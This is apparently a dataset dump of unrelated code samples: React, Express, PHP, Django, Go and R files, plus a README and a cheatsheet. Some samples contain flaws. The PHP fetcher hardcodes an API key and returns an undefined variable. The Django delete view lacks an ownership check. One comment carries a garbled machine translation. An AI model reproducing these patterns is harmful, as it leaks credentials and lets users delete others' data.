text
stringlengths
184
4.48M
package startingitems import ( "database/sql" "fmt" ) type StartingItemYaml struct { StartingItems []*StartingItem `yaml:"starting_items,omitempty"` } type StartingItem struct { ID int `yaml:"id,omitempty" db:"id"` // int(11) unsigned NOT NULL AUTO_INCREMENT, Race int `yaml:"race" db:"race"` // int(11) NOT NULL DEFAULT 0, Class int `yaml:"class" db:"class"` // int(11) NOT NULL DEFAULT 0, Deityid int `yaml:"deity_id,omitempty" db:"deityid"` // int(11) NOT NULL DEFAULT 0, ZoneID int `yaml:"zone_id,omitempty" db:"zoneid"` // int(11) NOT NULL DEFAULT 0, ItemID int `yaml:"item_id,omitempty" db:"itemid"` // int(11) NOT NULL DEFAULT 0, Name string `yaml:"name,omitempty" db:"name"` // varchar(64) NOT NULL DEFAULT '', ItemCharges int `yaml:"item_charges,omitempty" db:"item_charges"` // tinyint(3) unsigned NOT NULL DEFAULT 1, Gm int `yaml:"gm,omitempty" db:"gm"` // tinyint(1) NOT NULL DEFAULT 0, Slot int `yaml:"slot,omitempty" db:"slot"` // mediumint(9) NOT NULL DEFAULT -1, MinExpansion int `yaml:"min_expansion,omitempty" db:"min_expansion"` // tinyint(4) NOT NULL DEFAULT -1, MaxExpansion int `yaml:"max_expansion,omitempty" db:"max_expansion"` // tinyint(4) NOT NULL DEFAULT -1, ContentFlags sql.NullString `yaml:"content_flags,omitempty" db:"content_flags"` // varchar(100) DEFAULT NULL, ContentFlagsDisabled sql.NullString `yaml:"content_flags_disabled,omitempty" db:"content_flags_disabled"` // varchar(100) DEFAULT NULL, } func (e *StartingItemYaml) sanitize() error { for _, item := range e.StartingItems { if item.ID == 0 { return fmt.Errorf("starting_items.id cannot be 0") } } return nil } func (e *StartingItemYaml) omitEmpty() error { return nil }
import React, { useState } from 'react'; import DeleteButton from './Delete'; const TodoList = () => { const [todos, setTodos] = useState([]); const [input, setInput] = useState(''); const addTodo = () => { if (input.trim() !== '') { setTodos([...todos, { text: input, completed: false }]); setInput(''); } }; const toggleTodo = (index) => { const updatedTodos = [...todos]; updatedTodos[index].completed = !updatedTodos[index].completed; setTodos(updatedTodos); }; const deleteDoneTodos = () => { const updatedTodos = todos.filter((todo) => !todo.completed); setTodos(updatedTodos); }; return ( <div> <h1>Todo List</h1> <div> <input type="text" value={input} onChange={(e) => setInput(e.target.value)} placeholder="Add a new todo" /> <button onClick={addTodo}>Add</button> </div> <ul> {todos.map((todo, index) => ( <li key={index}> {todo.completed ? <del>{todo.text}</del> : todo.text} <button onClick={() => toggleTodo(index)}> {todo.completed ? 'Undone' : 'Done'} </button> <DeleteButton onDeleteDone={deleteDoneTodos} /> </li> ))} </ul> </div> ); }; export default TodoList;
import express from "express"; import mongoose, { ConnectOptions } from "mongoose"; import bodyParser from "body-parser"; import cors from "cors"; import http from "http"; import dotenv from "dotenv"; import authRoutes from "./routes/auth.routes"; import dashRoutes from "./routes/dash.routes"; import { Server } from "socket.io"; import Request from "./types.d"; import { Message, Room } from "./models/Message"; import socketSetup from "./utils/socketSetup"; dotenv.config(); const app = express(); declare global { namespace Express { interface Request { user?: any; io?: any; } } } // Use JSON middleware to automatically parse JSON app.use(bodyParser.json()); const server = http.createServer(app); const io = new Server(server, { cors: { origin: process.env.CLIENT_URL || "http://localhost:5173", methods: ["GET", "POST"], }, }); // Enable CORS app.use( cors({ origin: process.env.CLIENT_URL || "http://localhost:5173", credentials: true, }) ); app.use((req, res, next) => { req.io = io; next(); }); // Connect to MongoDB const options: ConnectOptions = { useNewUrlParser: true, useUnifiedTopology: true, } as ConnectOptions; mongoose .connect( process.env.MONGO_URI || "mongodb://localhost:27017/express-typescript", options ) .then(() => { console.log("Connected to MongoDB"); server.listen((process.env.PORT || 8000), () => { console.log(`Listening on port ${process.env.PORT}`); }); socketSetup(io); }) .catch((err) => { console.log(err); }); app.use("/auth", authRoutes); app.use("/dash", dashRoutes);
import "dotenv/config"; import { IMailProvider } from "../models/IMailProvider"; import aws from "aws-sdk"; import nodemailer from "nodemailer"; import { Transporter } from "nodemailer"; import { ISendMail } from "../dtos/ISendMail"; class SESMailProvider implements IMailProvider { private client: Transporter; constructor() { this.client = nodemailer.createTransport({ SES: new aws.SES({ apiVersion: "2010-12-01", region: process.env.AWS_REGION, }), }); } public async sendMail({ from, to, body, subject }: ISendMail): Promise<void> { await this.client.sendMail({ from, // sender address to, // list of receivers subject, // Subject line text: body, // plain text body }); } } export { SESMailProvider };
# AirBnB Clone Project - README ![Website logo](https://github.com/AbduHany/AirBnB_clone/blob/main/Assets/HBNB%20IMAGE.png) ## Project Description: This project aims to develop an AirBnB clone, a web-based platform that connects travelers with hosts who have accommodations available for rent. The clone will replicate key features of the original AirBnB platform, including user authentication, property listings, booking management, and reviews. ## Command Interpreter Description: The command interpreter is a command-line interface (CLI) tool developed for managing and interacting with the AirBnB clone project. It allows users to perform various actions, such as creating, updating, and deleting objects like users, places, amenities, and bookings. The command interpreter also provides functionality for searching and filtering listings, managing bookings, and accessing user profiles. ## How to Start the Command Interpreter: 1. Clone the repository from GitHub: ``` git clone https://github.com/AbduHany/AirBnB_clone.git ``` 2. Navigate to the project directory: ``` cd AirBnB_clone ``` 3. Run the command interpreter: ``` ./console.py ``` ## How to Use the Command Interpreter: Once the command interpreter is launched, you can start interacting with it by typing commands at the prompt. Here are some basic commands and examples of their usage: - Help Command: ``` (hbnb) help ``` Displays a list of available commands and their descriptions. - Create Command: ``` (hbnb) create User ``` Creates a new user object. - Show Command: ``` (hbnb) show User 1234-5678-9012 ``` Displays detailed information about the specified user object. - Update Command: ``` (hbnb) update User 1234-5678-9012 name "John Doe" ``` Updates the name attribute of the specified user object. - Delete Command: ``` (hbnb) destroy User 1234-5678-9012 ```
#!/usr/bin/python3 """Defines writing to a text file using JSON representation""" import json def save_to_json_file(my_obj, filename): """ writes an object to a text file using JSON Args: my_obj: object filename: file object """ with open(filename, 'w', encoding='utf-8') as data_file: json.dump(my_obj, data_file)
import { Box, Stack, Typography, Button } from "@mui/material"; import { Input, ConfigProvider, Divider, Row, Col } from "antd"; import * as React from "react"; import styles from "../../styles/footer/footer.module.css"; import Image from "next/image"; import icClock from "../../assets/icons/ClockClockwise.svg"; import food001 from "../../assets/images/food_img02.jpg"; import Link from "next/link"; import { ContactsOutlined, InfoCircleOutlined, MenuOutlined, ShoppingOutlined, } from "@ant-design/icons"; import MenuFoodCard from "../Home/menu-food-card"; import { FaFacebookF, FaInstagram, FaTwitter, FaYoutube } from "react-icons/fa"; const usefulLink = [ { page: "About", path: "/about", ic: <InfoCircleOutlined />, }, { page: "Shop", path: "/shop", ic: <ShoppingOutlined />, }, { page: "Menu", path: "/menu", ic: <MenuOutlined />, }, { page: "Contact", path: "/contact", ic: <ContactsOutlined />, }, ]; export interface FooterProps {} const { Search } = Input; export function Footer(props: FooterProps) { return ( <Box component={"footer"}> <Box px={"10%"} pt={"6rem"} pb="3rem" bgcolor={"var(--dark-1)"}> <Stack direction={{ sm: "row", xs: "column" }} justifyContent={"space-between"} borderBottom={"2px solid var(--primary-color)"} pb={"2rem"} gap={{ xs: "2rem" }} > <Box> <Typography variant="h4" color={"var(--white)"}> <Box color={"var(--primary-color)"} component={"span"}> St </Box> ill You Need Our Support ? </Typography> <Typography component={"p"} color={"var(--white)"} fontSize={16}> Don’t wait make a smart & logical quote here. Its pretty easy. </Typography> </Box> <Box position={"relative"} width={{ xs: "100%", md: "50%", lg: "40%" }} height={"fit-content"} > <input className={styles.SubscribeInput} type="email" placeholder="Enter your email" ></input> <Button sx={{ height: "100%", backgroundColor: "#fff", color: "var(--primary-color)", position: "absolute", ":hover": { color: "var(--white)", }, top: 0, right: 0, }} > Subscribe Now </Button> </Box> </Stack> <br /> <br /> <br /> <br /> <Row gutter={{ xs: 16, sm: 32 }}> <Col span={12} md={10}> <Box> <Typography color={"var(--white)"} variant="h5" fontWeight={"bold"} > About Us </Typography> <br /> <Typography component="p" color={"var(--white)"}> orporate clients and leisure travelers hasbeen relying on Groundlink for dependablesafe, and professional chauffeured carservice in major cities across World. </Typography> <br /> <Stack direction={{ sm: "row", xs: "column" }} gap={"1rem"}> <Box width={{ sm: "25%", xs: "100%" }} bgcolor={"var(--primary-color)"} p={"1rem"} height={"fit-content"} > <Image alt="img-ic-clock" src={icClock} width={0} height={0} style={{ width: "100%", height: "auto" }} ></Image> </Box> <Stack width={{ sm: "75%", xs: "100%" }} color={"var(--white)"}> <Typography variant="h6" flexGrow={1}> Opening Houres </Typography> <Typography component="p" flexGrow={1}> Mon - Sat(8.00 - 6.00) </Typography> <Typography component="p">Sunday - Closed</Typography> </Stack> </Stack> </Box> </Col> <Col span={12} md={5}> <Typography color={"var(--white)"} variant="h5" fontWeight={"bold"}> Useful Links </Typography> <Box component={"ul"} className={styles.linkContainer}> {usefulLink && usefulLink.map((link) => ( <Link key={link.path} href={link.path} className={styles.linkNavFooter} > {link.ic} {link.page} </Link> ))} </Box> </Col> <Col span={24} md={9} className={styles.lastColFooter}> <Typography color={"var(--white)"} variant="h5" fontWeight={"bold"}> Recent Post </Typography> <Stack direction={"column"} gap={"1rem"} mt={"1rem"}> <MenuFoodCard img={food001} name="Is fastfood good for your body?" desc="February 28,2022" ></MenuFoodCard> </Stack> <Stack direction={"column"} gap={"1rem"}> <MenuFoodCard img={food001} name="Is fastfood good for your body?" desc="February 28,2022" ></MenuFoodCard> </Stack> <Stack direction={"column"} gap={"1rem"}> <MenuFoodCard img={food001} name="Is fastfood good for your body?" desc="February 28,2022" ></MenuFoodCard> </Stack> <Stack direction={"column"} gap={"1rem"}> <MenuFoodCard img={food001} name="Is fastfood good for your body?" desc="February 28,2022" ></MenuFoodCard> </Stack> </Col> </Row> </Box> <Stack flexWrap={"wrap"} direction={"row"} justifyContent={"space-between"} padding={"1rem 10%"} bgcolor={"var(--gray-2)"} alignItems={"center"} > <Typography width={"fit-content"} variant="h6" color={"#fff"}> Copyright © 2022 by Ayeman. All Rights Reserved. </Typography> <Stack component={"ul"} direction={"row"} sx={{ listStyleType: "none", gap: "1rem" }} > <Box component={"li"} className={styles.icProvider}> <FaFacebookF /> </Box> <Box component={"li"} className={styles.icProvider}> <FaTwitter /> </Box> <Box component={"li"} className={styles.icProvider}> <FaInstagram /> </Box> <Box component={"li"} className={styles.icProvider}> <FaYoutube /> </Box> </Stack> </Stack> </Box> ); }
import React, { useEffect,useState } from "react"; import { useDispatch, useSelector } from "react-redux"; import { getproductsData, sortProducts } from "../Redux/actions"; import { useNavigate } from "react-router-dom"; export const Products = () => { // to get all products list on component mounts const dispatch = useDispatch() const navigate = useNavigate() useEffect(() => { // dispatch an action to the store // dont make call here // handle it as thunk call in actions.js dispatch(getproductsData()) }, []); const data = useSelector((state) => state) // sort by price const handleSort = (e) => { // dispach handle sort action to the store console.log(e.target.value) dispatch(sortProducts(e.target.value)) }; const handleClick = (id) => { navigate(`/products/${id}`) } return ( <> <h2 className="head">Products</h2> <select onChange={handleSort} className="select"> <option>--sort by --</option> <option value="asc">low to high</option> <option value="desc">high to low</option> </select> <div className="products-list"> {/* map throught th products list and display the results */} {data.isLoading ? <h1>"LOADING...."</h1> : data.products.map((item) => { return ( <div className="card" onClick={() => handleClick(item.id)}> <img src={item.image}></img> <h2 className="title">{item.title}</h2> <p>${item.price}</p> <p>{item.brand}</p> <p>{item.category}</p> </div>); })} </div> </> ); };
# Inicializando Projetos com React O React é uma biblioteca JavaScript popular para criar interfaces de usuário interativas e reativas. Este cheatsheet oferece uma visão geral dos passos fundamentais para criar um projeto React. ### Instale o Create React App (CRA) O Create React App é uma ferramenta que facilita a criação e configuração inicial de projetos React. ```bash npx create-react-app meu-projeto ``` Ou para inicializar projetos em Typescript: ```bash npx create-react-app my-app --template typescript ``` ```bash yarn create react-app testing-react --template typescript ``` ### Execute o Projeto Navegue até a pasta do projeto e inicie o servidor de desenvolvimento. ```bash npm start ``` Isso abrirá seu aplicativo React no navegador e atualizará automaticamente as alterações em tempo real. ### Build de Produção Quando estiver pronto para implantar, crie uma versão de produção do seu aplicativo. ```bash npm run build ``` Isso criará uma pasta `build/` com os arquivos otimizados para produção. ### Implantação Implante seu aplicativo em um servidor ou plataforma de hospedagem. Serviços populares incluem Netlify, Vercel, AWS Amplify e GitHub Pages.
<?php namespace Giga\StockMarket; class Fetch { private static $instance = null; private $url = 'https://financialmodelingprep.com/api/v3/'; private $apikey = 'a7960701c089b70c1bda4122bd50a4a5'; public static function getInstance(): Fetch { if (self::$instance == null) { self::$instance = new Fetch(); } return self::$instance; } private function fetchFromApi(string $url): array { $cachedResult = FetchCache::fetchCachedResult($url); if (false !== $cachedResult) { $cachedResult['from_cache'] = true; return $cachedResult; } $result = [ 'success' => false, 'data' => [], 'error' => '' ]; $response = wp_remote_get($url, ['timeout' => 30]); if (is_wp_error($response)) { $errorMessage = $response->get_error_message(); /* translators: %s: Error message text. */ $result['error'] = sprintf(__('WP Error: %s', 'stockmarket'), $errorMessage); return $result; } $responseCode = wp_remote_retrieve_response_code($response); $responseMessage = wp_remote_retrieve_response_message($response); if ($responseCode !== 200) { $result['error'] = sprintf(__('API Error: %s', 'stockmarket'), $responseMessage); return $result; } $body = wp_remote_retrieve_body($response); $decodedBody = json_decode($body, true); if ($decodedBody === null) { $result['error'] = __('API Error: Invalid response body', 'stockmarket'); return $result; } $results['data'] = $decodedBody; // change data to 20 array item return $results; } public function fetchmarketdata(): array { $marketurl = $this->url . 'stock/list?apikey=' . $this->apikey; $results = $this->fetchFromApi($marketurl); if ($results) { $results['data'] = array_filter($results['data'], function($stock) { return $stock['exchange'] === 'NASDAQ Global Select'; }); $results['data'] = array_slice($results['data'], 0, 50); } // Cache the result FetchCache::cacheResult($marketurl, $results); return $results; } public function fetchSingleStockData (string $string ) { $singleurl = $this->url . '/profile/' . $string . '?apikey=' . $this->apikey; $results = $this->fetchFromApi($singleurl); FetchCache::cacheResult($singleurl, $results); return $results ; } public function fetchChartData(string $string) { $endDate = date('Y-m-d'); // today's date $startDate = date('Y-m-d', strtotime('-1 year')); // date one year ago $charturl = $this->url . '/historical-price-full/' . $string . '?from=' . $startDate . '&to=' . $endDate . '&apikey=' . $this->apikey; $results = $this->fetchFromApi($charturl); FetchCache::cacheResult($charturl, $results); return $results; } }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>To-do List</title> <style> .box{ width: 400px; background: white; margin: 50px auto; border-radius: 5px; box-shadow: 10px 10px 0 rgba(0,0,0,0.1); } .item{ display: flex; align-items: center; border-bottom: 1px solid rgb(184, 184, 184); } .item:last-child{ border-bottom: 0; } body{ margin: 0; background-color: rgb(255, 208, 0); } input:checked + p{ text-decoration: line-through; background: rgb(228, 228, 228); } p{ margin: 0; padding: 20px; font-size: 20px; font-family: 'monospace'; font-weight: 200; transition: all ease 1s; flex: 1; border-left: 1px solid rgb(189, 212, 255); } input{ margin: 20px; } .add{ width: 50px; margin: 20px auto; } button{ width: 50px; height: 50px; border-radius: 50%; border: none; background-color: white; box-shadow: 5px 5px 0 rgba(0,0,0,0.1); } </style> </head> <body> <div class="box" id="box"> <div class="item"> <input type="checkbox" class="red"> <p contenteditable="true"></p> </div> <div class="item"> <input type="checkbox" class="round"> <p contenteditable="true"></p> </div> <div class="item"> <input type="checkbox" class="blueBorder"> <p contenteditable="true"></p> </div> <div class="item"> <input type="checkbox" class="rotate"> <p contenteditable="true"></p> </div> <div class="item"> <input type="checkbox" class="big"> <p contenteditable="true"></p> </div> </div> <div class="add"> <button onclick="addList();">+</button> </div> <script> var lastChecked; function handleCheck(e){ let inBetween = false; if(e.shiftKey && this.checked){ const checkboxes = document.querySelectorAll('.box input[type="checkbox"]'); checkboxes.forEach(checkbox =>{ console.log(checkbox); if(checkbox === this || checkbox === lastChecked){ inBetween = !inBetween; } if(inBetween){ checkbox.checked = true; } }); } lastChecked = this; } //i1 i2 i3 i4 ... var num = 1; function addList(){ const box = document.getElementById('box'); box.innerHTML += `<div class="item"><input type="checkbox" id="i`+num+`" class="big"><p contenteditable="true">Write a new to-do</p></div>`; var ch = document.getElementById("i"+num); ch.addEventListener('click', handleCheck); num += 1; } const cs = document.querySelectorAll('.box input[type="checkbox"]'); cs.forEach(checkbox => checkbox.addEventListener('click', handleCheck)); </script> </body> </html>
import { useContext, useCallback, useEffect } from "react"; import { UmamiContext } from "./context"; import { UmamiTrackedEvent, UmamiPageViewEvent } from "./types"; export function useUmamiEventTrack() { const umamiCtx = useContext(UmamiContext); const trackEvent = ( eventValue: string, eventType: string = "custom", forceTrack: boolean = false ) => { try { /* EVENT { payload: { event_name: "click", event_value: "signup-button", website: "your-website-id", url: "/", hostname: "your-hostname", language: "en-US", screen: "1920x1080" }, type: "event" } */ const commonFields = umamiCtx.getEventPayloadFields(); if (!commonFields) { throw new Error("Not initialized"); } const event: UmamiTrackedEvent = { payload: { ...commonFields, event_name: eventType, event_value: eventValue, }, type: "event", }; umamiCtx.track(event, forceTrack); } catch (err) { console.warn && console.warn(err); } }; return trackEvent; } interface UseUmamiPageViewArg1 { referrer?: string; pageUrl: string; } export function useUmamiPageTrack( { referrer = typeof document != "undefined" ? document.referrer : undefined, pageUrl, }: UseUmamiPageViewArg1, skipPageView = false ) { const umamiCtx = useContext(UmamiContext); const track = useCallback((_pageUrl: string) => { /* PAGEVIEW { payload: { referrer: "", website: "your-website-id", url: "/", hostname: "your-hostname", language: "en-US", screen: "1920x1080", }, type: "pageview" } */ const commonFields = umamiCtx.getEventPayloadFields(); if (!commonFields) { throw new Error("Not initialized"); } const pageViewEvt: UmamiPageViewEvent = { payload: { ...commonFields, url: _pageUrl ? _pageUrl : pageUrl, referrer, }, type: "pageview", }; return umamiCtx.track(pageViewEvt); }, []); useEffect(() => { if (!skipPageView) track(pageUrl); }, [pageUrl]); return track; }
/* Bark Conversation Example This folder contains a scene that demonstrates how to run a conversation using characters' bark UIs instead of the regular dialogue UI. In some cases you may find this preferable to chaining barks using BarkOnDialogueEvent. In this scene, Private Hart: - Now has a bark UI - Has an Override Display Settings component that: - Uses a dialogue UI named BarkDialogueUI (described below) - Enables PC subtitles (so we can see the player's barks) - Sets the default sequence to Delay({{end}}) so it doesn't touch the camera. BarkDialogueUI is an empty GameObject that contains the BarkDialogueUI script. This implementation of IDialogueUI simply uses the participants' bark UIs to display lines in a conversation. If the player has multiple responses, it automatically chooses the first response. A new GameObject named Private Hart Conversation Trigger is the trigger for the conversation. When the player enters the trigger area, the conversation starts. Stop Conversation On Trigger Exit is ticked, so if the player leaves the trigger area the conversation still stop. The Player: - Now has a bark UI - Only disables gameplay control for the terminal and dead guard, not for the conversation with Private Hart. 树皮谈话的例子 这个文件夹包含一个场景,演示了如何运行一个对话 使用角色的树皮UI代替常规的UI对话。在一些 情况下,你会发现这比链接使用BarkOnDialogueEvent吠叫。 在这个场景中,私人哈特: ——现在有树皮UI ——有一个覆盖显示设置组件: ——使用UI对话叫BarkDialogueUI(在下面描述) 使个人电脑字幕(所以我们可以看到玩家的叫) 设置默认序列延迟({ {结束} })因此它不碰相机。 包含BarkDialogueUI BarkDialogueUI是一个空GameObject脚本。 这个实现的IDialogueUI仅仅使用参与者的树皮ui 在一次谈话显示行。如果玩家有多个响应,它 自动选择的第一反应。 一个名为私人哈特谈话的新GameObject触发器的触发 谈话。当玩家进入触发区域,对话开始。 停止谈话引发出口,所以如果玩家离开扳机 区域对话仍然停止。 玩家: ——现在有树皮UI ——只有禁用游戏控制终端和死,不是 哈特与私人对话。 */
from django.http import HttpResponse from .models import * import markdown from django.shortcuts import render, redirect from .forms import ArticlePostForm from UserModel.models import User from django.contrib.auth.decorators import login_required from django.db.models import Q from Comment.models import Comment @login_required def article_list(request): search = request.GET.get('search') if search: articles = ArticlePost.objects.filter( Q(title__icontains=search) | Q(body__icontains=search) ) else: # 将 search 参数重置为空 search = '' articles = ArticlePost.objects.all() for article in articles: article.body = markdown.markdown(article.body, extensions=[ # 包含 缩写、表格等常用扩展 'markdown.extensions.extra', # 语法高亮扩展 'markdown.extensions.codehilite', # 目录扩展 'markdown.extensions.toc', ]) # 需要传递给模板(templates)的对象 context = { 'articles': articles, 'search': search } # render函数:载入模板,并返回context对象 return render(request, 'article/list.html', context) @login_required def article_detail(request, id): # 取出相应的文章 article = ArticlePost.objects.get(id=id) md = markdown.Markdown( extensions=[ 'markdown.extensions.extra', 'markdown.extensions.codehilite', 'markdown.extensions.toc', ] ) comments = Comment.objects.filter(article=id) article.body = md.convert(article.body) article.total_views += 1 article.save(update_fields=['total_views']) # 需要传递给模板的对象 context = { 'article': article, 'toc': md.toc, 'comments': comments } # 载入模板,并返回context对象 return render(request, 'article/detail.html', context) @login_required def article_create(request): if request.method == "POST": article_post_form = ArticlePostForm(data=request.POST) if article_post_form.is_valid(): # 保存数据,但暂时不提交到数据库中 new_article = article_post_form.save(commit=False) new_article.author = request.user new_article.save() # 完成后返回到文章列表 return redirect("article:article_list") # 如果数据不合法,返回错误信息 else: return HttpResponse("表单内容有误,请重新填写。") else: # 创建表单类实例 article_post_form = ArticlePostForm() # 赋值上下文 context = { 'article_post_form': article_post_form } # 返回模板 return render(request, 'article/create.html', context) @login_required def article_delete(request, id): # 根据 id 获取需要删除的文章 article = ArticlePost.objects.get(id=id) # 调用.delete()方法删除文章 article.delete() # 完成删除后返回文章列表 return redirect("article:article_list") @login_required def article_update(request, id): # 获取需要修改的具体文章对象 article = ArticlePost.objects.get(id=id) # 过滤非作者的用户 if request.user != article.author: return HttpResponse("抱歉,你无权修改这篇文章。") # 判断用户是否为 POST 提交表单数据 if request.method == "POST": # 将提交的数据赋值到表单实例中 article_post_form = ArticlePostForm(data=request.POST) # 判断提交的数据是否满足模型的要求 if article_post_form.is_valid(): # 保存新写入的 title、body 数据并保存 article.title = request.POST['title'] article.body = request.POST['body'] article.save() # 完成后返回到修改后的文章中。需传入文章的 id 值 return redirect("article:article_detail", id=id) # 如果数据不合法,返回错误信息 else: return HttpResponse("表单内容有误,请重新填写。") # 如果用户 GET 请求获取数据 else: # 创建表单类实例 article_post_form = ArticlePostForm() # 赋值上下文,将 article 文章对象也传递进去,以便提取旧的内容 context = { 'article': article, 'article_post_form': article_post_form } # 将响应返回到模板中 return render(request, 'article/update.html', context)
shelter.trn <- read.csv('/home/awaz/Documents/UISCourses/DataScience/AnimalShelter/train.csv') shelter.tst <- read.csv('/home/awaz/Documents/UISCourses/DataScience/AnimalShelter/test.csv') str(shelter.trn) str(shelter.tst) #Outcome subtype is not available in test. So lets remove it from train along with ID shelter.train <- shelter.trn[,-c(1,5)] #Do the same for test shelter.test <- shelter.tst[,-1] #Add Outcometype to test set and fill it with NA shelter.test$OutcomeType <- NA #Reorder test to be same as train shelter.test <- shelter.test[,c("Name","DateTime","OutcomeType","AnimalType", "SexuponOutcome","AgeuponOutcome","Breed","Color")] #Combine the two dataframes for cleansing shelter.df <- rbind(shelter.train,shelter.test) #Starting from bottom, splitting colors for (i in 1:nrow(shelter.df)) { shelter.df$Color1[i] <- strsplit(as.character(shelter.df$Color[i]),"/")[[1]][1] shelter.df$Color2[i] <- strsplit(as.character(shelter.df$Color[i]),"/")[[1]][2] } #Change NA in color2 to a factor shelter.df$Color2[is.na(shelter.df$Color2)] <- "Not Applicable" #Change any colors in color1 less than 5 to 'other' #colortbl <- data.frame(table(as.factor(shelter.df$Color1))) #for (i in 1:nrow(shelter.df)) { # for(j in 1:nrow(colortbl)){ # if(shelter.df$Color1[i]==colortbl$Var1[j]) { # if(colortbl$Freq[j] < 5){ # shelter.df$Color1[i] <- "Other" # } # break # } # } #} #We are good with color - now deal with breed for (i in 1:nrow(shelter.df)) { shelter.df$Breed1[i] <- strsplit(as.character(shelter.df$Breed[i]),"/")[[1]][1] shelter.df$Breed2[i] <- strsplit(as.character(shelter.df$Breed[i]),"/")[[1]][2] } #Convert NA in Breed2 to 'Not Applicable' shelter.df$Breed2[is.na(shelter.df$Breed2)] <- "Not Applicable" #Remove mix #removemix <- function(x){ # x <- trimws(strsplit(x,"Mix")[[1]][1]) #} #shelter.df$Breed1 <- sapply(shelter.df$Breed1,removemix) #Combine like breeds #shelter.df$Breed1[grep("Husky", shelter.df$Breed1)] <- "Husky" #shelter.df$Breed1[grep("Bulldog", shelter.df$Breed1)] <- "Bulldog" shelter.df$Breed1[grep("Pit Bull", shelter.df$Breed1)] <- "Pit Bull" shelter.df$Breed1[grep("Staffordshire", shelter.df$Breed1)] <- "Pit Bull" #shelter.df$Breed1[grep("Collie", shelter.df$Breed1)] <- "Collie" shelter.df$Breed1[grep("Black", shelter.df$Breed1)] <- "Black Mouth Cur" #shelter.df$Breed1[grep("Miniature", shelter.df$Breed1)] <- "Miniature" shelter.df$Breed1[grep("Chihuahua", shelter.df$Breed1)] <- "Chihuahua" #shelter.df$Breed1[grep("Dachshund", shelter.df$Breed1)] <- "Dachshund" #shelter.df$Breed1[grep("Domestic", shelter.df$Breed1)] <- "Domestic" #shelter.df$Breed1[grep("Cocker Spaniel", shelter.df$Breed1)] <- "Cocker Spaniel" #shelter.df$Breed1[grep("Pointer", shelter.df$Breed1)] <- "Pointer" #shelter.df$Breed1[grep("Cocker Spaniel", shelter.df$Breed1)] <- "Cocker Spaniel" #shelter.df$Breed1[grep("St. Bernard", shelter.df$Breed1)] <- "St. Bernard" #Create breed size breedsize <- read.csv('/home/awaz/Documents/UISCourses/DataScience/AnimalShelter/BreedsizeFinal.csv',stringsAsFactors = FALSE) breedsize <- breedsize[-which(breedsize$Size==""),] #combine large, medium and small dog breeds into a single variable respectively. This will help with grep smallbreed <- "" largebreed <- "" mediumbreed <- "" for (i in 1:nrow(breedsize)) { if(breedsize$Size[i]=="Small"){ smallbreed <- paste(smallbreed, breedsize$Breed[i], sep = " ") } if(breedsize$Size[i]=="Large"){ largebreed <- paste(largebreed,breedsize$Breed[i],sep = " ") } if(breedsize$Size[i]=="Medium"){ mediumbreed <- paste(mediumbreed,breedsize$Breed[i],sep = " ") } } largebreed <- trimws(largebreed) mediumbreed <- trimws(mediumbreed) smallbreed <- trimws(smallbreed) #Create a new feature for large, small or medium shelter.df$LargeBreed1 <- NA shelter.df$MediumBreed1 <- NA shelter.df$SmallBreed1 <- NA for (i in 1:nrow(shelter.df)) { x <- trimws(strsplit(shelter.df$Breed1[i],"Mix")) if(grepl(x[[1]][1],largebreed)){ shelter.df$LargeBreed1[i] <- shelter.df$Breed1[i] } else if(grepl(x[[1]][1],mediumbreed)){ shelter.df$MediumBreed1[i] <- shelter.df$Breed1[i] } else if(grepl(x[[1]][1],smallbreed)){ shelter.df$SmallBreed1[i] <- shelter.df$Breed1[i] } } #My input file had some cat breeds set as large, we will change then first shelter.df$SmallBreed1[which(shelter.df$AnimalType=="Cat" & !is.na(shelter.df$LargeBreed1))] <- shelter.df$LargeBreed1[which(shelter.df$AnimalType=="Cat" & !is.na(shelter.df$LargeBreed1))] shelter.df$LargeBreed1[which(shelter.df$AnimalType=="Cat" & !is.na(shelter.df$LargeBreed1))] <- NA shelter.df$SmallBreed1[which(shelter.df$AnimalType=="Cat" & is.na(shelter.df$SmallBreed1) & is.na(shelter.df$MediumBreed1) & is.na(shelter.df$LargeBreed1))] <- shelter.df$Breed1[which(shelter.df$AnimalType=="Cat" & is.na(shelter.df$SmallBreed1) & is.na(shelter.df$MediumBreed1) & is.na(shelter.df$LargeBreed1))] shelter.df$SmallBreed1[grep("Coton De Tulear",shelter.df$Breed1)] <- shelter.df$Breed1[grep("Coton De Tulear",shelter.df$Breed1)] shelter.df$SmallBreed1[grep("Dandie Dinmont",shelter.df$Breed1)] <- shelter.df$Breed1[grep("Dandie Dinmont",shelter.df$Breed1)] shelter.df$SmallBreed1[grep("Eng Toy Spaniel",shelter.df$Breed1)] <- shelter.df$Breed1[grep("Eng Toy Spaniel",shelter.df$Breed1)] shelter.df$LargeBreed1[grep("Unknown",shelter.df$Breed1)] <- shelter.df$Breed1[grep("Unknown",shelter.df$Breed1)] shelter.df$LargeBreed1[grep("Gordon Setter",shelter.df$Breed1)] <- shelter.df$Breed1[grep("Gordon Setter",shelter.df$Breed1)] shelter.df$SmallBreed1[grep("Dachshund Stan Mix",shelter.df$Breed1)] <- shelter.df$Breed1[grep("Dachshund Stan Mix",shelter.df$Breed1)] #Convert all NA into some sort of level shelter.df$SmallBreed1[is.na(shelter.df$SmallBreed1)] <- "Not Applicable" shelter.df$LargeBreed1[is.na(shelter.df$LargeBreed1)] <- "Not Applicable" shelter.df$MediumBreed1[is.na(shelter.df$MediumBreed1)] <- "Not Applicable" #Repeat the steps for Breed2 shelter.df$LargeBreed2 <- NA shelter.df$MediumBreed2 <- NA shelter.df$SmallBreed2 <- NA for (i in 1:nrow(shelter.df)) { x <- trimws(strsplit(shelter.df$Breed2[i],"Mix")) if(grepl(x[[1]][1],largebreed)){ shelter.df$LargeBreed2[i] <- shelter.df$Breed2[i] } else if(grepl(x[[1]][1],mediumbreed)){ shelter.df$MediumBreed2[i] <- shelter.df$Breed2[i] } else if(grepl(x[[1]][1],smallbreed)){ shelter.df$SmallBreed2[i] <- shelter.df$Breed2[i] } } shelter.df$SmallBreed2[which(shelter.df$AnimalType=="Cat" & !is.na(shelter.df$LargeBreed2))] <- shelter.df$LargeBreed2[which(shelter.df$AnimalType=="Cat" & !is.na(shelter.df$LargeBreed2))] shelter.df$LargeBreed2[which(shelter.df$AnimalType=="Cat" & !is.na(shelter.df$LargeBreed2))] <- NA shelter.df$LargeBreed2[which(shelter.df$Breed2=="Not Applicable")] <- "Not Applicable" shelter.df$MediumBreed2[which(shelter.df$Breed2=="Not Applicable")] <- "Not Applicable" 